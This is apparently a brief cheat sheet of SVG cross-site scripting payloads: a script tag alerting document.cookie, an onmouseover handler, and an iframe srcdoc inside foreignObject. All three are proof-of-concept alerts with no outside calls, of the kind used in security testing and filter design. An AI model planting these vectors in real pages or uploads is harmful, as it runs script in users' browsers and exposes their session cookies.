<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

// Or using event handlers:
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onmouseover="alert(1)"/>
</svg>

// Using foreignObject for HTML injection:
<svg>
  <foreignObject>
    <iframe srcdoc="<script>alert(1)</script>"></iframe>
  </foreignObject>
</svg>